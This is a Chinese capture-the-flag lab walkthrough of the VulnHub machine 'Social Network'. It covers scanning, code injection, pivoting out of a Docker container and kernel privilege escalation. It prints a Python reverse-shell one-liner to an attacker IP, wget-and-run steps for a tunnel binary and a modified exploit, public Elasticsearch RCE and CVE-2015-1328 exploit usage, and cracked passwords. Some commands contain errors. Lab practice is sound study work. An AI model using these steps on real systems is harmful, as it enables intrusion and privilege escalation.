中
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
知识涉及范围:
主机发现
端口扫描
服务发现
路径爬取
代码注入
Shell脚本
内网信息收集
内网穿透
漏洞利用
密码破解
本地提权
攻击代码修改
涉及工具
kali:
arp-scan
nmap
proxychains
venom?
python
......
此时我的kali和靶机在同一个网段之下,所以我直接使用了arp-scan进行主机的发现
arp-scan -l
192.168.196.1 192.168.196.2 192.168.196.254
都是我本地主机以及其他ip,所以现在就是只能是 192.168.196.149是目标靶机
扫描端口依旧是老牌应用nmap,对目标开放端口进行扫描,基本命令
nmap -p- 192.168.196.149
结果如下:
注意细节:
我多加了个-,区别在于命令 nmap -p- 192.168.196.149?将扫描目标主机上的所有端口,命令 nmap -p 192.168.196.149?将只扫描默认的端口范围。
开放了22和5000两个端口
PORT?????STATE SERVICE
22/tcp???open ?ssh
5000/tcp?open ?upnp
MAC?Address: 00:0C:29:51:6A:38 (VMware)
?
命令:
nmap -p22,5000 -sV 192.168.196.149
?
发现了22端口是ssh服务,并且是Ubuntu的系统,
5000端口是http服务,这是一个基于python语言开发的底层框架,并且是python2.7版本
访问5000端口查看是否有薄弱的攻击点,发现了一个页面,只有一个输入的表单页面
第一反应对输入框进行测试,先进行正常输入看看反应,然后进行其他测试
正常输入:
xss测试
sql注入:?
都没什么反应
就是一个简单的web应用
我们这里使用的dirsearch
dirsearch -u http://192.168.196.149:5000/
?
扫描结果发现存在admin的路径,访问查看
?
然后发现可以执行代码的地方,这时候我们使用python语言进行反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.196.130",6888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
在kali中进行监听:
nc -nvlp 6888
?
反弹shell回来?
成功反弹shell
查看当前用户?
成功拿到root权限
查看ls文件
拿到shell
这样就结束了,有了最高权限............
?
?
这么简单,不是,哥们,你真信了?
注意细节啊
你进的是人家docker,进的都是虚拟环境,没什么卵用的,接下来进行去判断,你是否在docker容器之中
看看一些文件
这就是docker的简单部署环境的方法,以及配置文件,基本怀疑
二次确定
根目录下出现了 .dockerenv基本确定就是在docker内
?
再次决定
查看文件
cat?/proc/1/cgroup
文件内出现一些文件
?
1进程代表着初始化进程的ID,初始化进行cgroup包括了docker映像的指示信息,并且哈希值都看到了
肯定是docker容器了,我们要突破隔离docker隔离,去找到宿主机,并且拿下
前边我们已经拿下了容器,我们现在去看看docker容器的ip
执行命令查看当前ip
ip a
?
发现ip为 172.17.0.3
和我们访问的ip地址不一样
更加证实了我们的猜想,是正确的就是在docker之中
接下来我们去对内网进行主机的探测
当然是使用ping啦,一个一个去ping试试?
你真试试啊,这是/16啊,存在65535个ip,你真一个个去ping啊
?然后就需要去写一个简单的shell脚本了
for i in $(set 1 10); do ping -c 1 172.17.0.$i;done
?注:此处应该是对1-65535全ip进行扫描,因为时间太长我就对ip进行了限制,真实环境下为防止漏掉,应该写成:
for i in {1..255};do for j in {1..255};do ping 172.17.$i. $j;done;done;
?然后结果如图
172.17.0.1和
172.17.0.2进行了回包
emmmm,其实这时候可以进行fscan进行一把梭,我们这里就按部就班的来了
探测的话,因为是在内网,所以我们就是无法访问,需要搭建隧道去进行访问
我这里使用的是venom ,文件方便下载可以改一个名字
在kali上运行并且监听本地1026端口?
?服务端没有?启动python的http服务去下载运行
python -m http.server 80
访问测试
?
下载在目标靶机上 使用wget命令去下载
wget http://192.168.196.130/xichen #下载目标靶机
ls #查看当前目录,查看是否下载成功
chmod +x xichen #赋予他可执行的权限
./xichen #执行
?根据帮助文档,我们需要做的就是执行以下命令
./xichen -rhost 192.168.196.130 -rport 1026
?
执行成功?
查看攻击端是否接受到客户端发来的链接?
?
图上已经成功收到
在服务器端使用show命令查看,并且goto到这个节点
?
?
并且我们在这个节点启动socks 侦听端口1080
这样我们就在kali上启动了socks代理,并且侦听端口为1080,这样方便我们去访问目标系统的内网
我们此时就可以挂代理去使用了,我们使用的是proxychains代理工具
使用命令:
vim /etc/proxychains4.conf
?
然后划到最下边,去添加一行(我的建议是进行注释添加,而不是对以上进行删除,这样方便以后得恢复甚至记录的使用)
socks5?127.0.0.1 1080
因为我们前边建立的就是socks的隧道并且是1080端口,所以这里是对应的
?
?
我们现在就可以对目标靶机进行内网扫描了
前边已知我们发现的内网的ip是172.16.0.1 和 172.16.0.2
我们对其进行端口扫描
proxychains?nmap -Pn?-sT?172.16.0.1 ?#使用nmap和proxychains搭配进行使用
发现其中开放了 22和5000端口,这不是我们之前看到的网页的端口吗
?
我们去对服务版本的探测,这不就一样吗
?
为了验证,我们去访问,试试
挂上socks服务代理(此处我的是因为断了,重新搭建的,刚刚使用的都是1080,后边改回去)
?
?
访问测试
?
?
这不就是刚刚那个吗
说明172.17.0.1就是刚刚192.168.196.149那个ip的,只不过172.17.0.1是面对容器的开放ip,基本判断就是我们的目标的主机了
接下来对172.16.0.2进行端口扫描
?
proxychains nmap -Pn -sT 172.16.0.2 #使用nmap和proxychains搭配进行使用
?
开放了9200这个端口?#这个是ElasticSearch的端口
我们去验证,使用以下命令对端口进行应用服务扫描
?
proxychains nmap -p9200 -Pn -sT -sV 172.17.0.2
发现就是是ElasticSearch的服务并且是1.4.2版本
我们看看是否能拿下这台主机,我们将使用searchsploit漏洞查找工具去进行查找?
使用命令
?
searchsploit Elasticsearch
?
发现存在较多的rce漏洞,我们此处使用第一个
使用以下命令下载到当前目录
searchsploit -m linux/remote/36337.py
然后我们查看一下发现是使用的python2版本
?
所以我们去运行python2的版本去运行?
?运行命令是:
proxychains python2 36337.py http://172.17.0.2:9200/
此时获取到了root权限
?但是此时还是容器的root权限,我们看看都有什么内容
passwords这个就很敏感,我们看看里边都有什么内容
cat passwords
这是个存放账号密码的地方,我们需要去破解
破解出来是
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
这里推荐几个网址:
https://www.cmd5.com/
http://pmd5.com/
http://www.xmd5.org/
http://md5.gromweb.com/
https://md5.gromweb.com/
然后去ssh试着链接我们访问的192.168.196.139 使用john用户(都试试,但是我试过的能连接的就这个了)
?进入了目标系统
首先使用
sudo su #suid提权
发现只是普通用户,没有什么权限
我们想拿到root权限,怎么提权呢
最经典的就是内核和suid
suid不行直接试试内核,使用以下命令去进行版本内核查询
uname -a
发现内核版本是3.13.0-24-generic这个就是很旧的版本了,现在都在6吧我记得.
依旧是漏洞查询
searchsploit linux 3.13
我们这里使用这个exp去试试
我们下载到本地:
searchsploit -m linux/local/37292.c
接下来我们查看代码,发现是C语言编写
我们在linux运行需要对C语言进行编译,但是我们的目标的主机上没有安装gcc
我们现在就换个思路
但是我们可以在kali上编译好再传输过去,但是查看C语言代码中还有一个编译的语句,即使我在kali上编译好了,他还是无法正常运行,他还要在编译一个文件,如下图
所以我们要在kali上都做好一起送去使用,并且我们在这个代码上进行修改,这样靶机就不需要去做多余的事情,直接就可以拿去用了
开干!!!
注意这一些代码需要删除
vim 37292.c
我在kali上进行编译gcc文件编译
gcc -o exp313 37292.c
然后查看
我们再去找那个库文件(名字叫做ofs-lib.so)
使用命令查找
?
locate ofs-lib.so
?
复制到当前目录下:
cp??/usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so .
然后查看
?
我们需要进行一并传输过去 一个叫做exp313 一个是ofs-lib.so
依旧是老旧演员python去进行开启http服务和wget兄弟的演出
kali:
python -m http.server 80
靶机:
wget http://192.168.196.130/exp313
wget http://192.168.196.130/ofs-lib.so
?
检查下载是否成功
?
?
已经下载成功
为了成功执行我们需要移动到tmp目录下
mv * /tmp/
cd /tmp/
ls #查看是否移动成功
?赋予exp执行权限
chmod +x exp313
./exp313
但是我这里出现了一些小插曲,大家也可能遇到
?
开始我怀疑自己的代码有问题,没毛病啊
但是后来发现我的kali机是最新版本,但是这个靶机版本很低
?
ldd --version
#ldd --version命令用于显示ldd工具的版本信息。ldd是一个用于查看可执行文件或共享库所依赖的动态链接库的工具。它会分析目标文件并列出其中使用的共享库及其对应的版本信息。
#通过运行ldd --version,您可以获取安装在系统上的ldd工具的版本信息。这可以帮助您了解正在使用的ldd版本,并在需要时与其他人进行版本比较或确认。
kali?
没办法去官网下载吧
靶机适用的版本 在
http://launchpadlibrarian.net/172657656/libc6_2.19-0ubuntu6_amd64.deb
下载解压,在其中的 /lib/x86_64-linux-gnu/libc.so.6?一定要在,编译 C 时使用 gcc 参数 -Ldir?指定上面的 libc.so.6 的路径,解决的编译命令:?
?
gcc -o exp 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6
我去,这坎坷之路
再试一次
编译
gcc -o expnew 37292.c -Ldir ./lib/x86_64-linux-gnu/libc.so.6
?
kali:传输过去
python -m http.server 80
靶机下载:
wget http://192.168.196.130/expnew
赋予执行权限
chmod +x expnew
./expnew #建议把文件都放在/tmp目录下
提权成功